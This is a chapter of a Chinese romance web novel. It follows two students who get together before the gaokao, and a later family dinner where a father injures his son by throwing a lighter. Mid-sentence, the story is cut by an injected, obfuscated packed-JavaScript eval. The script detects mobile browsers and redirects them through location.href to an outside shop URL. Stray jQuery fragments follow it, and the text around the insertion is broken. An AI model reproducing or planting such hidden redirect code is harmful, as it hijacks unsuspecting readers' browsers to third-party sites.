18. 第 18 章

作品:《钢琴效应

    支支吾吾半天答不出话,黎池捏紧手心朝后面走,席晏辞紧随其后。


    这趟公交车没什么人,零零散散也就几个学生。黎池紧抱着书包坐在里面,头看向窗外,一眼也不看他。


    席晏辞余光瞟见她的耳朵,很红,呼吸很均匀,表情也很正常,除了对他以外。


    “怎么就跟不认识我一样?”


    黎池微微皱眉,依旧扭着脖子,瓮声瓮气地说:“没有不认识你。”


    “那怎么不看我?”


    被他一句话逗得脸红起来,想要质问他为什么要当着别人的面说那种暧昧的话。


    “你刚才不应该跟任卓程说那样的话。”


    “什么话?”他问。


    “就是……”黎池欲言又止,反应过来他在逗自己,更加脸红了。


    席晏辞勾唇笑了下,为自己的辩驳:“可我明明就是为了等你,难道你要教我撒谎吗?”


    黎池被他的话闹得心痒,觉得还是不要说话好了。


    可他似乎不想让她如愿,左一句右一句问她“是不是”。


    这人,真有点烦。


    她堵着耳朵装作听不见,尽量不让他扰乱自己的心。但他却不善罢甘休,硬是凑过去拉着她堵住耳朵的手。


    温热宽大的手掌握上她的细腕,那股热腾腾的木质香顺着她的胳膊蔓延到她的脖子,下巴,嘴唇,最后到鼻子。


    黎池惊了下,紧张地甩开手,扭过头来皱眉凶他。


    席晏辞不觉得凶,反而觉得很可爱。


    他笑了下,落下手,勾起她耳旁掉落的碎发完后挽。


    酥酥麻麻的感觉再次上来,呼吸凝滞,余光中他的手指勾起的那一缕碎发像是他得意的作品,往后放的时候不小心擦到耳廓,黎池咽了咽口水,脖子又在不经意间起了一层薄汗。


    挽好她的碎发,席晏辞坐正了身,轻轻咳嗽一声,不说话了。


    公交车在小区前的几百米处停,两人一前一后下车,不知什么时候又走成一排。


    傍晚的风凉爽,昏黄路灯下的两人走的悠闲,谁都不想这段无言的路结束。


    “还有两天就高考了。”少年主动挑起话题。


    “嗯。”


    “去年秋天我跟你说我不想早恋是真的,但那是我不了解自己对你的感觉之前。”


    “嗯。”


    “高考结束后你有什么打算?”


    “填志愿,和朋友去旅行。”


    “哦。”


    少年的心跳从未有那么快过,连他自己也无法控制,全身的颤抖令他发出的声音都在抖,“要是你还有时间,愿意和我谈个恋爱吗?”


    少女心跳一落,微颤的睫毛上沾满晚风,不可思议地看向他。


    “要是没时间就算了。”


    看着他耷拉的模样,少女扬起嘴角,轻声道:“有时间。”


    或许是自己的请求太过于仓促,少年不太相信自己的耳朵,急着又问了一遍。


    少女看着他的模样,想笑却又忍了回去,一字一顿道:“和朋友旅游回来,应该有时间。”


    这次,少年确信自己的耳朵没有听错,话也说不出来,只能跟着少女一起笑。


    曾经,他觉得自己缺爱,用无限的优秀成绩去讨好爸爸妈妈,可换来的却是他们婚姻的败笔,长大一些受到不少女孩的追捧,他觉得她们只是喜欢他这张脸;现在,他再一次表达自己的爱,害怕被拒绝所以模拟过无数次这样的场景,但眼前的女孩告诉他,爱是不需要偿还的,爱是双向奔赴的,爱是有回馈的。


    -


    十二年寒窗苦读,仅仅两天的时间就下定论,在时间的较量下可能会觉得不值,但只有真正坐在考场上的人才知道这些光阴的含金量。


    最后一科考试结束,高中生活正式结束,属于他们的成人世界正式开始,通往社会的门票也即将检票。


    从考场出来,黎池挡住还未下山的太阳,看着人来人往的家长和学生,露出微笑,终于结束了。


    乔英和黎东树特意请了一天的假,看见门口的女儿就立马呐喊招手。黎池挥了挥手跑过去。


    乔英给擦汗,黎东树给递水,夫妻俩都显得特别殷勤。其实黎池看得出来他们想问什么,但又害怕她心态不好不敢问,自己就先开了口:“我觉得我考得还行!”


    夫妻俩停住动作,四目相对,笑了起来。


    黎池也开心,挽上爸爸妈妈的手走出人群。


    “今晚上去下馆子。”黎东树豪言。


    “你可别了吧,就你那点工资都不够房租生活费,还是今晚上去买点海鲜小菜,自己在家里下厨。”


    “好好好,好久没吃你做的菜,等会就去小菜,我给你打下手。问问咱们小池想吃什么?”


    “……”


    父母的谈话,满意的成绩,还有即将到来的初恋,之前的苦好像全都烟消云散。而云散过后,便是晴天。


    公交车站人来人往,送走一班又一班,好不太容易挤上去,黎池却透过车门看见了一个人。


    车门即将关闭,她挤出去下车,爸爸妈妈在车上喊她,她笑着喊:“爸爸妈妈你们先回去,我看见了一个很重要的人。”说完跑着过去。


    相见是需要奔跑的,喜欢也是。


    黎池一边喘气一边思考着要跟他说什么话,问他考得怎么样,太俗;问他假期有什么计划,关系不合适;问他打算上哪里的大学,可他们不是说好一起去北城了嘛。


    她自顾自地笑起来,原来一个人在激动的时候会有那么多的矛盾。


    还有五十米就到了,


    四十米,


    三十米,


    二十米,


    十米,


    ……


    可他却跟一个男人上了车。


    黎池跑不动了,微皱眉头看着他把车门关上,然后离开。


    他甚至都没看见她,还是说她刚才应该先喊他的?


    回到家,乔英和黎东树刚好从超市回来,乔英问她刚才说什么很重要的人是谁,遇见了没有。


    黎池撒了个慌说是辅导班帮过她的同学,打了声招呼就走了。


    乔英将信将疑,从小说谎看别人眼睛就飘忽不定,也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242146|197788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不揭穿她,让她下次把人家带回来吃饭。


    黎池心情有点低落,应了声“哦”。


    -


    车上,父子俩坐在后面,司机自动落下挡板。


    席必城刚结束完一通商业电话,目不斜视地问:“什么时候去美国?”


    给黎池发送一条消息过去,席晏辞眉不抬一下道:“我不去美国了。”


    这句话仿佛触动某个机关,席必城怒声吼道:“席晏辞,去美国不是过家家,不是你说想去就去不去就不去的。”


    他仍然是一副冷漠的表情,“你们也没问过我的意见,我从来也没说过自己想去。”


    一通电话又进来,席必城压制住自己的脾气,在接通电话前评价了一句“你跟你妈一样,自私。”


    席晏辞冷笑,到底是谁自私?当年他不管不顾抛下妻子和儿子回国,只为家里的财产,几年不回去一次,到头来却说别人自私,真是讽刺。


    到达酒店饭店,席晏辞下车想要打车回去,席必城瞧见他的动作,瞭了一眼说:“你妈也在上面,吃了饭再走。”


    闻言,他把手机收回去跟着上楼。


    推开包厢,席晏辞看到艾曼的脸色时缓和了些,再过去,就看到了尤枝。


    尤枝是艾曼的徒弟,还是穷学生时就被艾曼资助,大学时争气考进美国的艺术学院,毕业后一直跟在艾曼身边,跟亲女儿一样。


    “好久不见啊。”尤枝今天画了一个浓烈的妆,跟他打招呼。


    席晏辞略微点头,算是打过招呼。


    “晏辞跟枝枝好久没见了吧,感觉两人之间陌生了不少。”艾曼的声音温柔。


    席晏辞一直没说话,尤枝瞟了一眼他,接过艾曼的话,笑着说:“师傅,我们俩一个在美国,一个在中国,我一直在您身边,当然没见过几面。”


    艾曼笑起来,对于直爽的尤枝甚是宠溺。


    这顿饭还算是平静,多是在聊尤枝的事业,时不时提到两句席晏辞的学业。


    艾曼知道自己儿子不想去美国的想法,但是在学业这方面她还是比较赞同席必城的主意。


    窗户纸总有被捅破的一天,艾曼柔声问他的意见:“晏辞打算什么时候去美国,你小时候住的那间房……”


    “不用,”席晏辞打断艾曼的话,“我不去美国上学了。”


    艾曼的笑容嘎然而止,再要开口时被席必城抢先:“这就是你对长辈的礼貌,打断别人说话就是你来羊城这么多年学到的?”


    实在可笑,这些年一个人在羊城,家里唯一能和他交流的人只有阿姨盛姨,他冷眼看过去:“我学不学到什么,跟你有什么关系?”


    还没说完,一个打火机就直冲他砸过来,准准打在他眉上,而后“哐当”一声砸在地上。


    艾曼惊呼一声去看,金属打火机锋利,眉头瞬间开了道口子,血一直顺着侧脸流。


    艾曼红了眼,失望地看向席必城,这么多年的夫妻,到头却说不出一句话。


    尤枝也是一惊,带着席晏辞起身远离这场他父母的纷争,“师傅,我带他去处理伤口。”